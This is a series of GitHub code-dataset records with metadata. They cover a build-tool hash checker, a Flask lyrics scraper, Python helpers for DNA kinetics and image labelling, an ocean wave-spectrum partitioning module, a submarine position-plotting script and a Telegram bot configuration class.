\"qpc_parser.py\",\n \"qpc_project.py\",\n \"qpc_reader.py\",\n # \"qpc_vpc_converter.py\",\n \"qpc_generator_handler.py\",\n)\n \n \nQPC_BASE_HASHES = {}\nQPC_GENERATOR_HASHES = {}\n\nfor file in BASE_QPC_HASH_LIST:\n QPC_BASE_HASHES[QPC_DIR + file] = make_hash(QPC_DIR + file)\n \nfor file in GENERATOR_LIST:\n _generator = f\"{QPC_GENERATOR_DIR}/{file}/{file}.py\"\n QPC_GENERATOR_HASHES[_generator] = make_hash(_generator)\n \nQPC_HASHES = {**QPC_BASE_HASHES, **QPC_GENERATOR_HASHES}\n\nCHECKED_HASHES = {}\nGENERATOR_FILE_NAMES = []\nARCH_NAMES = []\n\n\ndef post_args_init():\n GENERATOR_FILE_NAMES.extend([os.path.splitext(os.path.basename(__generator))[0] for __generator in args.generators])\n ARCH_NAMES.extend([arch.name.casefold() for arch in args.archs])\n\n\n# to be called after check_hash is called, so we know what we need to rebuild exactly\ndef get_rebuild_info(project_path: str, rebuild_generators: list) -> dict:\n if project_path not in CHECKED_HASHES:\n check_hash(project_path, False)\n \n if rebuild_generators:\n for gen in rebuild_generators:\n if gen.filename not in CHECKED_HASHES[project_path][\"generators\"]:\n CHECKED_HASHES[project_path][\"generators\"].append(gen.filename)\n \n elif not CHECKED_HASHES[project_path][\"generators\"]:\n CHECKED_HASHES[project_path][\"generators\"] = GENERATOR_FILE_NAMES\n \n return CHECKED_HASHES[project_path]\n\n\ndef check_hash(project_path: str, print_allowed: bool = True) -> bool:\n if project_path in CHECKED_HASHES:\n return CHECKED_HASHES[project_path][\"result\"]\n \n project_hash_file_path = get_hash_file_path(project_path)\n project_dir = os.path.split(project_path)[0]\n total_blocks = sorted((\"commands\", \"glob_files\", \"hashes\"))\n blocks_found = []\n CHECKED_HASHES[project_path] = {\"result\": True, \"generators\": [], \"rebuild_all\": False}\n result = True\n \n if os.path.isfile(project_hash_file_path):\n hash_file = qpc_reader.read_file(project_hash_file_path)\n \n if not hash_file:\n CHECKED_HASHES[project_path][\"result\"] = False\n CHECKED_HASHES[project_path][\"rebuild_all\"] = True\n return False\n \n for block in hash_file:\n if not result:\n CHECKED_HASHES[project_path][\"result\"] = False\n return False\n \n if block.key == \"commands\":\n blocks_found.append(block.key)\n result = _check_commands(project_dir, block.items, 4)\n CHECKED_HASHES[project_path][\"rebuild_all\"] = not result\n \n elif block.key == \"hashes\":\n blocks_found.append(block.key)\n result = _project_check_file_hash(project_dir, block.items, project_path)\n\n elif block.key == \"dependencies\":\n pass\n\n elif block.key == \"glob_files\":\n blocks_found.append(block.key)\n result = _check_glob_files(project_dir, block.items)\n CHECKED_HASHES[project_path][\"rebuild_all\"] = not result\n \n elif print_allowed:\n # how would this happen\n block.warning(\"Unknown Key in Hash: \")\n\n if total_blocks == sorted(blocks_found):\n if print_allowed:\n print(\"Valid: \" + project_path + get_hash_file_ext(project_path))\n CHECKED_HASHES[project_path][\"result\"] = True\n return True\n CHECKED_HASHES[project_path][\"result\"] = False\n return False\n else:\n if print_allowed:\n verbose(\"Hash File does not exist\")\n CHECKED_HASHES[project_path][\"result\"] = False\n CHECKED_HASHES[project_path][\"rebuild_all\"] = True\n return False\n\n\ndef _project_check_file_hash(project_dir: str, hash_list: list, project_path: str) -> bool:\n result = True\n for hash_block in hash_list:\n if os.path.isabs(hash_block.values[0]) or not project_dir:\n project_file_path = posix_path(os.path.normpath(hash_block.values[0]))\n else:\n project_file_path = posix_path(os.path.normpath(project_dir + \"/\" + hash_block.values[0]))\n \n if hash_block.key != make_hash(project_file_path):\n if not CHECKED_HASHES[project_path][\"rebuild_all\"] and hash_block.values[0] in QPC_GENERATOR_HASHES:\n generator_name = os.path.splitext(os.path.basename(hash_block.values[0]))[0]\n if generator_name in args.generators:\n CHECKED_HASHES[project_path][\"generators\"].append(generator_name)\n else:\n CHECKED_HASHES[project_path][\"rebuild_all\"] = True\n verbose(\"File Modified: \" + hash_block.values[0])\n result = False\n return result\n \n \ndef check_master_file_hash(project_path: str, base_info, generator, hash_list: dict) -> bool:\n project_hash_file_path = get_hash_file_path(project_path)\n project_dir = os.path.split(project_path)[0]\n total_blocks = sorted((\"commands\", \"hashes\", \"files\"))\n blocks_found = []\n \n if os.path.isfile(project_hash_file_path):\n hash_file = qpc_reader.read_file(project_hash_file_path)\n \n if not hash_file:\n return False\n \n for block in hash_file:\n if block.key == \"commands\":\n blocks_found.append(block.key)\n if not _check_commands(project_dir, block.items, 5):\n return False\n \n elif block.key == \"hashes\":\n blocks_found.append(block.key)\n if not _check_file_hash(project_dir, block.items):\n return False\n \n elif block.key == \"files\":\n blocks_found.append(block.key)\n if not base_info.project_hashes:\n continue\n if generator.uses_folders():\n if not _check_files(project_dir, block.items, hash_list, base_info.projects):\n return False\n else:\n if not _check_files(project_dir, block.items, hash_list):\n return False\n \n else:\n # how would this happen\n block.warning(\"Unknown Key in Hash: \")\n\n if total_blocks == sorted(blocks_found):\n print(\"Valid: \" + project_path + get_hash_file_ext(project_path))\n return True\n return False\n else:\n verbose(\"Hash File does not exist\")\n return False\n \n \ndef get_out_dir(project_hash_file_path):\n if os.path.isfile(project_hash_file_path):\n hash_file = qpc_reader.read_file(project_hash_file_path)\n \n if not hash_file:\n return \"\"\n\n commands_block = hash_file.get_item(\"commands\")\n \n if commands_block is None:\n print(\"hold up\")\n return \"\"\n \n return posix_path(os.path.normpath(commands_block.get_item_values(\"working_dir\")[0]))\n # working_dir = commands_block.get_item_values(\"working_dir\")[0]\n # out_dir = commands_block.get_item_values(\"out_dir\")[0]\n # return posix_path(os.path.normpath(working_dir + \"/\" + out_dir))\n \n \ndef _check_commands(project_dir: str, command_list: list, total_commands: int) -> bool:\n commands_found = 0\n for command_block in command_list:\n if command_block.key == \"working_dir\":\n commands_found += 1\n directory = args.root_dir\n if project_dir:\n directory += \"/\" + project_dir\n # something just breaks here i use PosixPath in the if statement\n directory = posix_path(directory)\n hash_directory = posix_path(command_block.values[0])\n if hash_directory.endswith(\"/\"):\n hash_directory = hash_directory[:-1]\n if directory != hash_directory:\n return False\n \n elif command_block.key == \"out_dir\":\n pass\n \n elif command_block.key == \"add\":\n commands_found += 1\n if sorted(args.add) != sorted(command_block.values):\n return False\n \n elif command_block.key == \"remove\":\n commands_found += 1\n if sorted(args.remove) != sorted(command_block.values):\n return False\n \n elif command_block.key == \"architectures\":\n commands_found += 1\n if sorted(ARCH_NAMES) != sorted(command_block.values):\n return False\n \n elif command_block.key == \"macros\":\n commands_found += 1\n if sorted(args.macros) != sorted(command_block.values):\n return False\n \n elif command_block.key == \"qpc_py_count\":\n commands_found += 1\n if len(QPC_BASE_HASHES) != int(command_block.values[0]):\n return False\n \n else:\n command_block.warning(\"Unknown Key in Hash: \")\n return commands_found == total_commands\n \n \ndef _check_file_hash(project_dir: str, hash_list: list) -> bool:\n for hash_block in hash_list:\n if os.path.isabs(hash_block.values[0]) or not project_dir:\n project_file_path = posix_path(os.path.normpath(hash_block.values[0]))\n else:\n project_file_path = posix_path(os.path.normpath(project_dir + \"/\" + hash_block.values[0]))\n \n if hash_block.key != make_hash(project_file_path):\n verbose(\"File Modified: \" + hash_block.values[0])\n return False\n return True\n \n \ndef _check_files(project_dir, hash_file_list, file_list, project_def_list: dict = None) -> bool:\n if len(hash_file_list) != len(file_list):\n return False\n for file_block in hash_file_list:\n hash_path = file_block.get_item_values(\"hash_path\")[0]\n hash_folder = file_block.get_item_values(\"folder\")\n hash_folder = hash_folder[0] if hash_folder else \"\"\n dependency_hash = file_block.get_item_values(\"dependency_hash\")\n dependency_hash = dependency_hash[0] if dependency_hash else \"\"\n \n if os.path.isabs(hash_path) or not project_dir:\n hash_path = posix_path(os.path.normpath(hash_path))\n else:\n hash_path = posix_path(os.path.normpath(project_dir + \"/\" + hash_path))\n \n if hash_path not in file_list.values():\n verbose(\"New project added: \" + file_block.key)\n return False\n \n elif hash_folder and project_def_list:\n for project_def in project_def_list:\n if file_block.key == project_def.path:\n folder = \"/\".join(project_def_list[project_def])\n if hash_folder != folder:\n # uh, what if this generator doesn't use folders\n verbose(f\"Project Folder Path Changed on \\\"{file_block.key}\\\":\\n\"\n f\"\\\"{hash_folder}\\\" -> \\\"{folder}\\\"\")\n return False\n break\n\n # Now check dependencies\n project_dep_list = get_project_dependencies(file_block.key)\n if not project_dep_list:\n if dependency_hash: # and not script_path.values[0] == \"\":\n # all dependencies were removed from it, and we think it has some still, rebuild\n verbose(\"Outdated dependency list: \" + file_block.key)\n return False\n continue\n elif not dependency_hash and project_dep_list:\n # project has dependencies now, and we think it doesn't, rebuild\n return False\n\n project_dep_list.sort()\n if dependency_hash != hash_from_string(' '.join(project_dep_list)):\n verbose(f\"Dependencies Changed: \\\"{file_block.key}\\\"\")\n return False\n \n return True\n\n\ndef _check_glob_files(project_dir: str, file_list: list) -> bool:\n for file_block in file_list:\n file_hash = file_block.key\n file_glob = file_block.values[0]\n \n glob_list = glob.glob(project_dir + \"/\" + file_glob)\n for index, path in enumerate(glob_list):\n glob_list[index] = posix_path(path)\n \n glob_list.sort()\n\n if file_hash != hash_from_string(' '.join(glob_list)):\n verbose(\"Files found are different: \" + file_glob)\n return False\n \n return True\n \n \ndef get_hash_file_path(project_path) -> str:\n return posix_path(os.path.normpath(QPC_HASH_DIR + get_hash_file_name(project_path)))\n \n \ndef get_hash_file_name(project_path) -> str:\n hash_name = project_path.replace(\"\\\\\", \".\").replace(\"/\", \".\")\n return hash_name + get_hash_file_ext(hash_name)\n\n \ndef get_hash_file_ext(project_path) -> str:\n if os.path.splitext(project_path)[1] == \".qpc\":\n return \"_hash\"\n return \".qpc_hash\"\n\n\ndef get_project_dependencies(project_path: str, recurse: bool = False) -> list:\n project_hash_file_path = get_hash_file_path(project_path)\n dep_list = set()\n\n if os.path.isfile(project_hash_file_path):\n hash_file = qpc_reader.read_file(project_hash_file_path)\n\n if not hash_file:\n return list(dep_list)\n\n for block in hash_file:\n if block.key == \"dependencies\":\n for dep_block in block.items:\n # maybe get dependencies of that file as well? recursion?\n dep_list.add(dep_block.key)\n if recurse:\n dep_list.update(get_project_dependencies(dep_block.key))\n if dep_block.values and dep_block.values[0] != \"\":\n for path in dep_block.values:\n if path:\n dep_list.add(path)\n if recurse:\n dep_list.update(get_project_dependencies(dep_block.key))\n break\n return list(dep_list)\n\n\ndef write_project_hash(project_path: str, project: qpc_project.ProjectContainer, generators: list) -> None:\n base_block = QPCBlockRoot(project_path)\n \n _write_hash_commands(base_block, project.out_dir)\n \n hashes = base_block.add_item(\"hashes\", [])\n [hashes.add_item(hash_value, script_path) for script_path, hash_value in QPC_BASE_HASHES.items()]\n \n for generator in generators:\n if generator.path in QPC_GENERATOR_HASHES:\n hashes.add_item(QPC_GENERATOR_HASHES[generator.path], generator.path)\n \n hash_list = project.get_hashes()\n if hash_list:\n [hashes.add_item(hash_value, script_path) for script_path, hash_value in hash_list.items()]\n \n glob_files_block = base_block.add_item(\"glob_files\", [])\n for path in project.get_glob_files():\n found_files = glob.glob(os.path.split(project_path)[0] + \"/\" + path)\n for index, _path in enumerate(found_files):\n found_files[index] = posix_path(_path)\n found_files.sort()\n glob_files_block.add_item(hash_from_string(' '.join(found_files)), path)\n\n if project.dependencies:\n dependencies_block = base_block.add_item(\"dependencies\", [])\n [dependencies_block.add_item(script_path, None) for script_path in project.dependencies]\n\n with open(get_hash_file_path(project_path), mode=\"w\", encoding=\"utf-8\") as hash_file:\n # hash_file.write(base_block.to_string(0, True, True))\n hash_file.write(base_block.to_string(True, True))\n\n\ndef write_master_file_hash(project_path: str, base_info, platforms: list, generator_path: str, out_dir: str = \"\"):\n base_block = QPCBlockRoot(project_path)\n \n _write_hash_commands(base_block, out_dir, True)\n \n hashes = base_block.add_item(\"hashes\", [])\n [hashes.add_item(hash_value, script_path) for script_path, hash_value in QPC_BASE_HASHES.items()]\n \n if generator_path in QPC_GENERATOR_HASHES:\n hashes.add_item(QPC_GENERATOR_HASHES[generator_path], generator_path)\n \n info_list = set()\n [info_list.add(base_info.get_base_info(platform)) for platform in platforms]\n if None in info_list:\n info_list.remove(None)\n files = base_block.add_item(\"files\", [])\n \n for info_platform in info_list:\n for project_def in info_platform.projects:\n if project_def.path not in base_info.project_hashes:\n continue\n \n folder = \"/\".join(info_platform.project_folders[project_def.name])\n \n script = files.add_item(project_def.path, [])\n \n if project_def.path in base_info.project_hashes:\n hash_path = base_info.project_hashes[project_def.path]\n script.add_item(\"hash_path\", hash_path)\n \n # if project_def.folder_list:\n script.add_item(\"folder\", folder)\n \n if project_def.path in base_info.project_dependencies:\n dependency_list = list(base_info.project_dependencies[project_def.path])\n dependency_list.sort()\n value = hash_from_string(\" \".join(dependency_list)) if dependency_list else \"\"\n script.add_item(\"dependency_hash\", value)\n\n with open(get_hash_file_path(project_path), mode=\"w\", encoding=\"utf-8\") as hash_file:\n hash_file.write(base_block.to_string(True, True))\n \n \ndef _write_hash_commands(base_block: QPCBlockRoot, out_dir: str = \"\", master_file: bool = False) -> None:\n commands = base_block.add_item(\"commands\", [])\n commands.add_item(\"working_dir\", os.getcwd().replace('\\\\', '/') + \"/\" + os.path.split(base_block.file_path)[0])\n commands.add_item(\"out_dir\", out_dir.replace('\\\\', '/'))\n commands.add_item(\"macros\", args.macros)\n commands.add_item(\"architectures\", ARCH_NAMES)\n \n if master_file:\n commands.add_item(\"add\", args.add)\n commands.add_item(\"remove\", args.remove)\n else:\n commands.add_item(\"qpc_py_count\", str(len(QPC_BASE_HASHES)))\n \n \ndef _write_hash_paths(base_block: QPCBlockRoot, hash_file_paths: dict):\n if hash_file_paths:\n files = base_block.add_item(\"files\", [])\n [files.add_item(hash_path, script_path) for script_path, hash_path in hash_file_paths.items()]\n","repo_name":"Demez/QuiverProjectCreator","sub_path":"qpc_hash.py","file_name":"qpc_hash.py","file_ext":"py","file_size_in_byte":19306,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"21"} +{"seq_id":"31903933106","text":"from flask import Flask\nfrom flask_restful import Resource, Api\nfrom flask_restful import reqparse\nimport requests\nimport urllib.parse\nimport re\nfrom bs4 import BeautifulSoup\napp = Flask(__name__)\napi = Api(app)\n\nclass RegistUser(Resource):\n def post(self):\n parser = reqparse.RequestParser()\n parser.add_argument('title', type = str)\n args = parser.parse_args()\n\n title = args['title']\n\n url = urllib.parse.quote(title)\n html = requests.get(\n 'https://search.naver.com/search.naver?where=nexearch&sm=top_hty&fbm=0&ie=utf8&query=' + url).text\n soup = BeautifulSoup(html, 'html.parser')\n\n song_lyrics = str(soup.select('.text_expand span[class*=_text]'))\n cleaned_lyrics = re.sub('(<([^>]+)>)', '\\n', song_lyrics, 0).strip()\n return {'lyrics': cleaned_lyrics}\n\napi.add_resource(RegistUser, '/user')\nif __name__ =='__main__':\n app.run(debug=True)\n","repo_name":"yejin0928/flask-RESTful-api-lyrics","sub_path":"flask-restapi.py","file_name":"flask-restapi.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3560616297","text":"import sys\r\nimport cPickle as pickle\r\nimport os\r\nimport time\r\nsys.path.insert(0,os.path.realpath('../reactions'))\r\nfrom multistrand.builder import Builder\r\nimport parent\r\nfrom parent import *\r\nimport myenums\r\n\r\nstart = sys.argv[1]\r\nend = sys.argv[2]\r\npathbuilder = sys.argv[3]\r\npathspace= sys.argv[4 ]\r\npathsequences = sys.argv[5]\r\npathoptions= sys.argv[6]\r\npathuniqueid= sys.argv[7]\r\n\r\n\r\nmytime = open (\"times_log_remove.txt\", \"a\")\r\nmytime.write( pathbuilder + \" start \" + str( start) + \"end \" + str(end) + \"\\n\" )\r\nst = time.time()\r\n\r\nwith open(pathoptions , \"rb\" ) as p:\r\n\toptionsArg = pickle.load( p)\r\n\r\nmyBuilder= Builder(parent.doReaction, optionsArg )\r\n\r\nwith open(pathspace , \"rb\" ) as p:\r\n\tmyBuilder.protoSpacebackup = pickle.load( p)\r\n\r\n\r\nwith open(pathuniqueid , \"rb\" ) as p:\r\n\tmyBuilder.uniqueID_number = pickle.load( p)\r\n\r\nwith open( pathsequences , \"rb\" ) as p :\r\n\tmyBuilder.protoSequences = pickle.load( p)\r\n\r\n\r\nmytime.write( \"load time \" + str( time.time() - st )+\"\\n\")\r\n\r\nst = time.time ( )\r\nmyBuilder.fattenStateSpace(start = int(start) , end= int( end))\r\n\r\nmytime.write( \"fatten time time \" + str( time.time() - st ) +\"\\n\")\r\n\r\nst = time.time()\r\n\r\n\r\nwith open( pathuniqueid , \"wb\" ) as p:\r\n\tpickle.dump(myBuilder.uniqueID_number, p)\r\n\r\n\r\n\r\nwith open( pathbuilder + myenums.EDITIONAL.TEMPSTATESPACE.value + str(start)+\"-\" +str(end) , \"wb\" ) as p:\r\n\tpickle.dump(myBuilder.tempstatespace, p)\r\n\r\n\r\nwith open( pathbuilder + myenums.EDITIONAL.TEMPTRANSITIONS.value + str(start)+\"-\" +str(end) , \"wb\" ) as p:\r\n\tpickle.dump(myBuilder.temptransitions, p)\r\n\r\nmytime.write( \"save time \" + str( time.time() - st ) +\"\\n\")\r\nmytime.close()\r\n\r\n","repo_name":"DNA-and-Natural-Algorithms-Group/FPEI","sub_path":"learndnakinetics/fattenhelper.py","file_name":"fattenhelper.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"5214947288","text":"import quickstart as qs\nimport drawline as draw\nimport embeded as emb\nimport sys\n\n\ndef doall(infile, showfile, outfile):\n # f = open('ans.txt', 'w')\n # file_name='/root/pic/t3.jpg'\n file_name = infile\n # os.system(\"export GOOGLE_APPLICATION_CREDENTIALS=\\\"/root/mykey.json\\\"\")\n rst = qs.run_quickstart(file_name)\n qs.drawShow(file_name, showfile, rst)\n # draw.openpic(file_name)\n # draw.writepic(showfile)\n # f.close()\n\n emb.Embeded(infile, outfile, rst)\n\n return rst\n\n\ndef renew(infos, infile, showfile, outfile):\n qs.drawShow(infile, showfile, infos)\n emb.Embeded(infile, outfile, infos)\n\n\nif __name__ == '__main__':\n ret = doall('/root/pic/' + sys.argv[1], 'sho_' + sys.argv[1], 'rst_' + sys.argv[1])\n","repo_name":"amoyplane/GCP_Vision_learning","sub_path":"yakimain.py","file_name":"yakimain.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24551565926","text":"import pytest\nfrom selenium import webdriver\n\n\n@pytest.fixture()\ndef setup():\n driver = webdriver.Chrome()\n driver.maximize_window()\n yield driver\n\n\n# def pytest_addoption(parser):\n# parser.addoption(\"--browser\")\n\n\n# @pytest.fixture\n# def brow(request):\n# return request.config.getoption(\"--browser\")\n","repo_name":"bavanambhargavi/keka_portal-automation","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21862241021","text":"\"\"\"Watershed partitioning.\"\"\"\nimport numpy as np\nimport xarray as xr\n\nfrom wavespectra.core.attributes import attrs\nfrom wavespectra.specpart import specpart\nfrom wavespectra.core.utils import D2R, R2D, celerity\nfrom wavespectra.core.npstats import hs\n\n\ndef nppart(spectrum, freq, dir, wspd, wdir, dpt, swells=3, agefac=1.7, wscut=0.3333):\n \"\"\"Watershed partition on a numpy array.\n\n Args:\n - spectrum (2darray): Wave spectrum array with shape (nf, nd).\n - freq (1darray): Wave frequency array with shape (nf).\n - dir (1darray): Wave direction array with shape (nd).\n - wspd (float): Wind speed.\n - wdir (float): Wind direction.\n - dpt (float): Water depth.\n - swells (int): Number of swell partitions to compute.\n - agefac (float): Age factor.\n - wscut (float): Wind speed cutoff.\n\n Returns:\n - specpart (3darray): Wave spectrum partitions with shape (np, nf, nd).\n\n \"\"\"\n part_array = specpart.partition(spectrum)\n\n Up = agefac * wspd * np.cos(D2R * (dir - wdir))\n windbool = np.tile(Up, (freq.size, 1)) > np.tile(\n celerity(freq, dpt)[:, np.newaxis], (1, dir.size)\n )\n\n ipeak = 1 # values from specpart.partition start at 1\n part_array_max = part_array.max()\n # partitions_hs_swell = np.zeros(part_array_max + 1) # zero is used for sea\n partitions_hs_swell = np.zeros(part_array_max + 1) # zero is used for sea\n while ipeak <= part_array_max:\n part_spec = np.where(part_array == ipeak, spectrum, 0.0)\n\n # Assign new partition if multiple valleys and satisfying conditions\n __, imin = inflection(part_spec, freq, dfres=0.01, fmin=0.05)\n if len(imin) > 0:\n part_spec_new = part_spec.copy()\n part_spec_new[imin[0].squeeze() :, :] = 0\n newpart = part_spec_new > 0\n if newpart.sum() > 20:\n part_spec[newpart] = 0\n part_array_max += 1\n part_array[newpart] = part_array_max\n partitions_hs_swell = np.append(partitions_hs_swell, 0)\n\n # Assign sea partition\n W = part_spec[windbool].sum() / part_spec.sum()\n if W > wscut:\n part_array[part_array == ipeak] = 0\n else:\n partitions_hs_swell[ipeak] = hs(part_spec, freq, dir)\n\n ipeak += 1\n\n sorted_swells = np.flipud(partitions_hs_swell[1:].argsort() + 1)\n parts = np.concatenate(([0], sorted_swells[:swells]))\n all_parts = []\n for part in parts:\n all_parts.append(np.where(part_array == part, spectrum, 0.0))\n\n # Extend partitions list if it is less than swells\n if len(all_parts) < swells + 1:\n nullspec = 0 * spectrum\n nmiss = (swells + 1) - len(all_parts)\n for i in range(nmiss):\n all_parts.append(nullspec)\n\n return np.array(all_parts)\n\n\ndef partition(\n dset,\n wspd=\"wspd\",\n wdir=\"wdir\",\n dpt=\"dpt\",\n swells=3,\n agefac=1.7,\n wscut=0.3333,\n):\n \"\"\"Watershed partitioning.\n\n Args:\n - dset (xr.DataArray, xr.Dataset): Spectra array or dataset in wavespectra convention.\n - wspd (xr.DataArray, str): Wind speed DataArray or variable name in dset.\n - wdir (xr.DataArray, str): Wind direction DataArray or variable name in dset.\n - dpt (xr.DataArray, str): Depth DataArray or the variable name in dset.\n - swells (int): Number of swell partitions to compute.\n - agefac (float): Age factor.\n - wscut (float): Wind speed cutoff.\n\n Returns:\n - dspart (xr.Dataset): Partitioned spectra dataset with extra dimension.\n\n References:\n - Hanson, Jeffrey L., et al. \"Pacific hindcast performance of three\n numerical wave models.\" JTECH 26.8 (2009): 1614-1633.\n\n \"\"\"\n # Sort out inputs\n if isinstance(wspd, str):\n wspd = dset[wspd]\n if isinstance(wdir, str):\n wdir = dset[wdir]\n if isinstance(dpt, str):\n dpt = dset[dpt]\n if isinstance(dset, xr.Dataset):\n dset = dset[attrs.SPECNAME]\n\n # Partitioning full spectra\n dsout = xr.apply_ufunc(\n nppart,\n dset,\n dset.freq,\n dset.dir,\n wspd,\n wdir,\n dpt,\n swells,\n agefac,\n wscut,\n input_core_dims=[[\"freq\", \"dir\"], [\"freq\"], [\"dir\"], [], [], [], [], [], []],\n output_core_dims=[[\"part\", \"freq\", \"dir\"]],\n vectorize=True,\n dask=\"parallelized\",\n output_dtypes=[\"float32\"],\n dask_gufunc_kwargs={\n \"output_sizes\": {\n \"part\": swells + 1,\n },\n },\n )\n\n # Finalise output\n dsout.name = \"efth\"\n dsout[\"part\"] = np.arange(swells + 1)\n dsout.part.attrs = {\"standard_name\": \"spectral_partition_number\", \"units\": \"\"}\n\n return dsout.transpose(\"part\", ...)\n\n\ndef frequency_resolution(freq):\n \"\"\"Frequency resolution array.\n\n Args:\n - freq (1darray): Frequencies to calculate resolutions from with shape (nf).\n\n Returns:\n - df (1darray): Resolution for pairs of adjacent frequencies with shape (nf-1).\n\n \"\"\"\n if len(freq) > 1:\n return abs(freq[1:] - freq[:-1])\n else:\n return np.array((1.0,))\n\n\ndef inflection(spectrum, freq, dfres=0.01, fmin=0.05):\n \"\"\"Points of inflection in smoothed frequency spectra.\n\n Args:\n - fdspec (ndarray): freq-dir 2D specarray.\n - dfres (float): used to determine length of smoothing window.\n - fmin (float): minimum frequency for looking for minima/maxima.\n\n \"\"\"\n if len(freq) > 1:\n df = frequency_resolution(freq)\n sf = spectrum.sum(axis=1)\n nsmooth = int(dfres / df[0]) # Window size\n if nsmooth > 1:\n sf = np.convolve(sf, np.hamming(nsmooth), \"same\") # Smoothed f-spectrum\n sf[(sf < 0) | (freq < fmin)] = 0\n diff = np.diff(sf)\n imax = np.argwhere(np.diff(np.sign(diff)) == -2) + 1\n imin = np.argwhere(np.diff(np.sign(diff)) == 2) + 1\n else:\n imax = 0\n imin = 0\n return imax, imin\n","repo_name":"wavespectra/wavespectra","sub_path":"wavespectra/core/watershed.py","file_name":"watershed.py","file_ext":"py","file_size_in_byte":6036,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"21"} +{"seq_id":"23590106035","text":"\"\"\"\nThis script implements the basic steps outlined in the previous answer, but with some additional functionality. The velocity and direction of the submarine are calculated using the diff method, which computes the difference between consecutive values in a series. The direction of the submarine is calculated using the arctan2 function from numpy, which computes the inverse tangent of a ratio of two values and returns the angle in radians. The depth of the submarine is simply taken as the altitude.\n\nThe submarine's location is plotted over time using Matplotlib, with separate subplots for the latitude and longitude, velocity, and depth. The xlabel and ylabel functions are used to label the x and y axes, respectively. The figure and subplot functions are used to create multiple subplots within a single figure. The show function is used to display the figure.\n\nNote that this is just an example, and in reality, there may be many more variables, algorithms, and considerations involved in tracking a submarine.\n\nSubmarine characteristics: The physical characteristics of the submarine, such as its size, shape, weight, propulsion system, etc., can impact the accuracy of the tracking system.\n\nWater conditions: The water conditions, such as the temperature, pressure, salinity, and currents, can affect the movement of the submarine and must be taken into account.\n\nSensor data: The data obtained from the various sensors used to track the submarine, such as sonar, radar, and GPS, must be carefully processed and analyzed to obtain accurate tracking information.\n\nNoise and interference: Any external noise or interference, such as electromagnetic interference or acoustic noise, can impact the accuracy of the tracking system and must be taken into account.\n\nAlgorithms and models: The algorithms and models used to process and analyze the sensor data, such as Kalman filters, particle filters, and neural networks, can impact the accuracy of the tracking system and must be carefully selected and optimized.\n\nEnvironmental factors: The environmental factors, such as the weather, ocean currents, and tides, can affect the movement of the submarine and must be taken into account.\n\nData fusion: The data obtained from multiple sensors must be fused and combined to obtain an accurate picture of the submarine's location and movement.\n\nPrivacy and security: Privacy and security considerations, such as the protection of sensitive information and the prevention of unauthorized access, must be taken into account when designing and implementing a submarine tracking system.\n\nCost and resources: The cost and resources required to design, implement, and maintain a submarine tracking system must be carefully considered.\n\n\n\"\"\"\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# Step 1: Obtain the location data for the submarine\n# For demonstration purposes, let's assume the location data is stored in a CSV file\nsubmarine_data = pd.read_csv(\"submarine_location.csv\")\n\n# Step 2: Store the location data in a Pandas DataFrame\ndf = pd.DataFrame(submarine_data)\n\n# Step 3: Analyze the location data to determine the movement pattern of the submarine\n# Calculate the velocity and direction of the submarine\ndf['velocity'] = df['speed'].diff()\ndf['direction'] = np.arctan2(df['velocity'], df['speed'])\n\n# Calculate the depth of the submarine\ndf['depth'] = df['altitude']\n\n# Step 4: Plot the submarine's location over time\nplt.figure(figsize=(15,5))\n\nplt.subplot(131)\nplt.plot(df['timestamp'], df['latitude'], label='Latitude')\nplt.plot(df['timestamp'], df['longitude'], label='Longitude')\nplt.legend()\nplt.xlabel('Timestamp')\nplt.ylabel('Latitude/Longitude')\n\nplt.subplot(132)\nplt.plot(df['timestamp'], df['velocity'], label='Velocity')\nplt.legend()\nplt.xlabel('Timestamp')\nplt.ylabel('Velocity (m/s)')\n\nplt.subplot(133)\nplt.plot(df['timestamp'], df['depth'], label='Depth')\nplt.legend()\nplt.xlabel('Timestamp')\nplt.ylabel('Depth (m)')\n\nplt.show()\n\n# Step 5: Continuously update the location data and repeat the analysis steps","repo_name":"malware-moon/weapon-trajectory-calculators","sub_path":"submarine_tracking/submarine_tracking_v2.py","file_name":"submarine_tracking_v2.py","file_ext":"py","file_size_in_byte":4058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21008297920","text":"import configparser\nimport platform\nimport os\n\n\nclass BotConfig():\n\n def __init__(self):\n if platform.system() == 'Windows':\n self.__CONFIG_FILE ='C:\\\\Users\\\\roswellevent\\\\PycharmProjects\\\\RoswelleventBot-Git\\\\config.ini'\n else:\n self.__CONFIG_FILE = '/home/pi/scripts/config.ini'\n if os.path.exists(self.__CONFIG_FILE):\n self.config = self.readConfigFile()\n else:\n raise Exception('{} Not Found'.format(self.__CONFIG_FILE ))\n\n def readConfigFile(self):\n config = configparser.ConfigParser()\n config.read(self.__CONFIG_FILE)\n return config\n\n def getTelegramBotToken(self):\n return self.config['telegram']['BOT_TOKEN']\n\n def getMyTelegramID(self):\n return self.config['telegram']['ROSWELLEVENT_ID']\n\n\n def getStockNo(self):\n stock_no = self.config['stock']['stock_no'].split(',') # type:list\n stock_set = set(list(map(int, stock_no)))\n return stock_set\n\n def addStockNo(self, m_stock_no):\n stock_set = self.getStockNo()\n stock_set.add(m_stock_no)\n self.writeConfigFile(stock_set)\n\n def removeStockNo(self, m_stock_no):\n stock_set = self.getStockNo()\n if m_stock_no in stock_set:\n stock_set.remove(m_stock_no)\n self.writeConfigFile(stock_set)\n return True\n else:\n return False\n\n def writeConfigFile(self,m_stock_set):\n self.config['stock']['stock_no'] = ','.join(map(str,sorted(m_stock_set)))\n with open(self.__CONFIG_FILE,'w+') as f:\n 